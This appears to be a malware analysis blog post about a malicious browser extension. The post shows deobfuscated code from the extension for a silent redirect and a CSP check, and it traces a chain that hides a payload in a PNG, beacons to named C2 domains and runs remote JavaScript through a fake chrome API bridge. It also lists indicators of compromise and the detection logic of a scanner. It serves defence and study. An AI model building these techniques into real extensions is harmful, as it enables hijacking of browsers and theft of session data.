What this means
Any JavaScript running in any web page the victim visits can now call window["browserCache"].runtime.sendMessage(...) or access window["browserCache"].storage.* β and the request will be transparently fulfilled by the real privileged extension APIs. This breaks the browser's fundamental extension sandbox model.
The C2-supplied logCode JavaScript runs in the page context with this bridge available. With it, the attacker can:
- Read and write all extension storage (including session tokens, cached credentials)
- Send messages to
bg.jsto trigger downloads (Action: "DOWNLOADBEGIN") or open popup windows - Send
declarativeNetRequestupdates viabg.jswithout needing a new C2 fetch - Execute any operation the extension is permitted for, from any web page, in any tab
11. Arbitrary URL Redirect on Any Domain
If localStorage["extftsams99ba"] is populated from C2, the iframe-level content script branch executes a silent automatic redirect:
if (popColorTo(pageArr.signArray)) {
// popColorTo(window) = (window.top == window.parent) β true in first-level iframes
var eventCode = pageArr.testImgCode("head") || pageArr.testImgCode("body");
var event$1 = location.href,
lineSize = pageArr.buffer$1[16]; // "extftsams99ba"
pageArr.documentValues.get(lineSize, function(contentPool) {
var documentValues = contentPool[lineSize];
if (documentValues) {
// Double atob decode of two ^ -delimited entries
var dataExt = findDefaultVal(documentValues, "^")[0].reContentAll(1);
var fileTip = findDefaultVal(documentValues, "^")[1].reContentAll(1);
// reContentAll(1) = atob(atob(this)) β double base64 decode
if (event$1.indexOf(getFileSize(dataExt)) > -1) { // URL matches pattern?
var image$1 = pageArr.rdnDataPro("a");
image$1.setAttribute("href", fileTip); // target URL from C2
eventCode.appendChild(image$1);
image$1.click(); // SILENT AUTO-REDIRECT
setSelecteds(lineSize, ""); // destroy evidence
}
}
});
pageArr.signArray.parent.postMessage(pageArr.buffer$1[27], '*'); // "ifr2top"
}
The redirect:
- Works in iframes, as well as main frames
- The match pattern and target URL are double-base64-encoded in localStorage, hiding them from casual inspection
- Evidence is erased immediately after execution (
setSelecteds(lineSize, "")) - Works on any website due to the
<all_urls>content script injection
12. Content Security Policy(CSP) Erasure
getContentOn() checks for the presence of a Content Security Policy meta tag before injecting the fake chrome API bridge:
var val = document.querySelector(
pageArr.buffer$1[38]
// 'meta[http-equiv^="Content-Security-Policy"]'
);
if (val) return true; // abort if CSP is present
This check serves two purposes:
- Avoid triggering CSP violations that would appear in the browser console and alert a sophisticated user
- Target only pages that do not have a CSP (which is the majority of web pages)
Given that the DNR rules are C2-controlled, the attacker could alternatively push a rule that removes or rewrites CSP headers on target pages, selectively enabling the bridge injection on pages that would otherwise block it.
13. Complete Attack Chain visualized with ASCII art
INSTALL
β
ββ First sidebar open (index.js)
β ββ fetch("icon/logo.png").text()
β ββ split("ncige") β 1,897-byte stego payload
β ββ localStorage["ncige"]["7yfuf2"] = <unicode-encoded config>
β
ββ Every page load (content.js injected into https://*/* and http://*/*)
β ββ Reads localStorage["ncige"]["7yfuf2"]
β ββ copyNodeTo() β low-byte decode β 39-entry buffer$1 string table
β β
β ββ HOURS < 72: log "waiting 3 days", return β SLEEPER
β β
β ββ HOURS β₯ 72 AND random(0..200) β€ 20 (10%)
β β
β ββ genFileArr(true)
β β ββ GET https://ipaglov.com/ext/load.php?f=svr.png
β β ββ Response: PNG wrapping JSON payload
β β ββ Rules stored in localStorage["jruldyn"] (base64, XOR-encrypted)
β β ββ Redirect rules stored in localStorage["extftsams99ba"]
β β
β ββ hasTokenAll("jruldyn")
β β ββ atob(localStorage["jruldyn"]).replace(regex, "")
β β ββ JSON.parse() β declarativeNetRequest rules array
β β ββ chrome.runtime.sendMessage({dataExt: rules, ...})
β β ββ bg.js: updateDynamicRules() β C2 controls all network rules
β β ββ Affiliate ID substitution on taobao.com / jd.com
β β
β ββ getContentOn()
β ββ Check for CSP meta tag; abort if present
β ββ lineSize(): install window.message bridge listener
β ββ setTimeout("!selectedExt(...); " + C2_logCode, 1)
β ββ Injects window["browserCache"] = fake chrome.* API into page context
β ββ C2 JavaScript runs with extension-level privileges
β on every website the victim visits
β
ββ Iframe-level redirect (content.js in all_frames)
ββ localStorage["extftsams99ba"] set? β double-atob decode pattern + URL
ββ Silent auto-click on <a href="C2_redirect_URL">
ββ Evidence erased from storage
14. Indicators of Compromise
Files
icon/logo.pngβ 1,902 bytes appended past IEND marker (offset ~5,416), beginning with ASCIIncige
localStorage keys (in extension storage)
| Key | Purpose |
|---|---|
ncige |
Stego payload cache + install timestamp |
jruldyn |
Base64 + XOR encrypted DNR rules from C2 |
extftsams99ba |
Double-base64 encoded URL redirect rules |
7yfuf2 |
Decoded stego config (buffer$1 array, semicolon-delimited) |
3i1rfsciu |
Second C2 payload (URL redirect + logCode JS) |
window globals set by extension
| Global | Value |
|---|---|
window.exdipmver |
3 (activation sentinel) |
window["browserCache"] |
Fake privileged chrome.* API object |
Network indicators
| URL | Purpose |
|---|---|
https://ipaglov.com/ext/load.php?f=svr.png |
Primary C2 beacon |
https://dreamhov.de/ext/load.php?f=svr.png |
Backup C2 beacon |
Extension metadata
| Field | Value |
|---|---|
| Extension ID | 1efab3c2-06ac-4040-975d-e006baac07ce@ytmp4 |
| Version | 1.3.4 |
| SHA-256 | f4c493377c6065e039f547ab0da5bafdfb8eaffa524fd744c119fd2bb6cfef30 |
15. What browser-xpi-malware-scanner.py Catches and Why
This extension was designed by a skilled author specifically to evade automated review. Here is how each browser-xpi-malware-scanner.py check contributed to the detection:
check_png_appended() β The key finding
The only place the entire payload exists in any detectable form is appended to the PNG. Every other malicious string is either runtime-decoded or stored only in localStorage after execution. Without checking raw bytes past the IEND marker, this extension passes every other static check cleanly.
def check_png_appended(name, data, findings):
idx = data.rfind(b"IEND")
end = idx + 8
trailer = data[end:]
if trailer:
ent = shannon_entropy(trailer)
sev = "CRITICAL" if len(trailer) > 64 else "HIGH"
findings.append(Finding(sev, "PNG_APPENDED", name,
f"{len(trailer)} bytes appended after PNG IEND (entropy={ent:.2f})"))
check_javascript() β atob() detections
The multiple atob() calls in content.js (lines 380, 719, 2364) flagged HIGH. While atob() is used legitimately, its presence in a content script injected into all URLs is suspicious. The double-decode atob(atob(this)) at line 719 is the specific form used for the URL redirect rules decode.
SUSPICIOUS_URL_RE β C2 domain detection
Although the C2 domains (ipaglov.com, dreamhov.de) were not found as plaintext in the JS files (they are only in the decoded stego payload), the beacon URL pattern template https://$1/ext/load.php?f=svr.png contains no domain. However, the check did flag the other exfiltration-adjacent domains:
media.savetube.me / media.savetube.vip / cdn305.savetube.su / api.mp3youtube.cc
The .su TLD (cdn305.savetube.su) is a particularly high-confidence IoC β .su (Soviet Union, defunct) is disproportionately used by criminal infrastructure.
DANGEROUS_PERMS β permission analysis
<all_urls> as a host permission rather than a regular permission (Manifest V3 split) was still caught:
DANGEROUS_PERMS = {
"<all_urls>": ("HIGH", "Access to ALL website content β can read/exfiltrate any page data"),
"downloads": ("MEDIUM", "Can initiate and read downloads"),
...
}
What browser-xpi-malware-scanner.py could add to catch this class of malware
PNG-as-text fetch detection β flag
fetch(β¦).then(r => r.text())where the URL resolves to an image resource declared in the extension. Legitimate image fetches use.blob()or.arrayBuffer(), never.text().Split-on-arbitrary-string detection β
someString.split(nonHttpNonCommonDelimiter)where the delimiter is a short word (in this case"ncige") is an unusual pattern worth flagging. Legitimate code splits on"/",".",",",";"etc.localStorage.setwith class-name keys β if the key being written to storage matches a CSS class name in the extension's HTML, that is highly anomalous.
Despite these gaps, the PNG_APPENDED detection alone is sufficient to designate this extension CRITICAL and warrant deep manual review β which is exactly the intended workflow for browser-xpi-malware-scanner.py.
Need an Android Developer or a full-stack website developer?
I specialize in Kotlin, Jetpack Compose, and Material Design 3. For websites, I use modern web technologies to create responsive and user-friendly experiences. Check out my portfolio or get in touch to discuss your project.


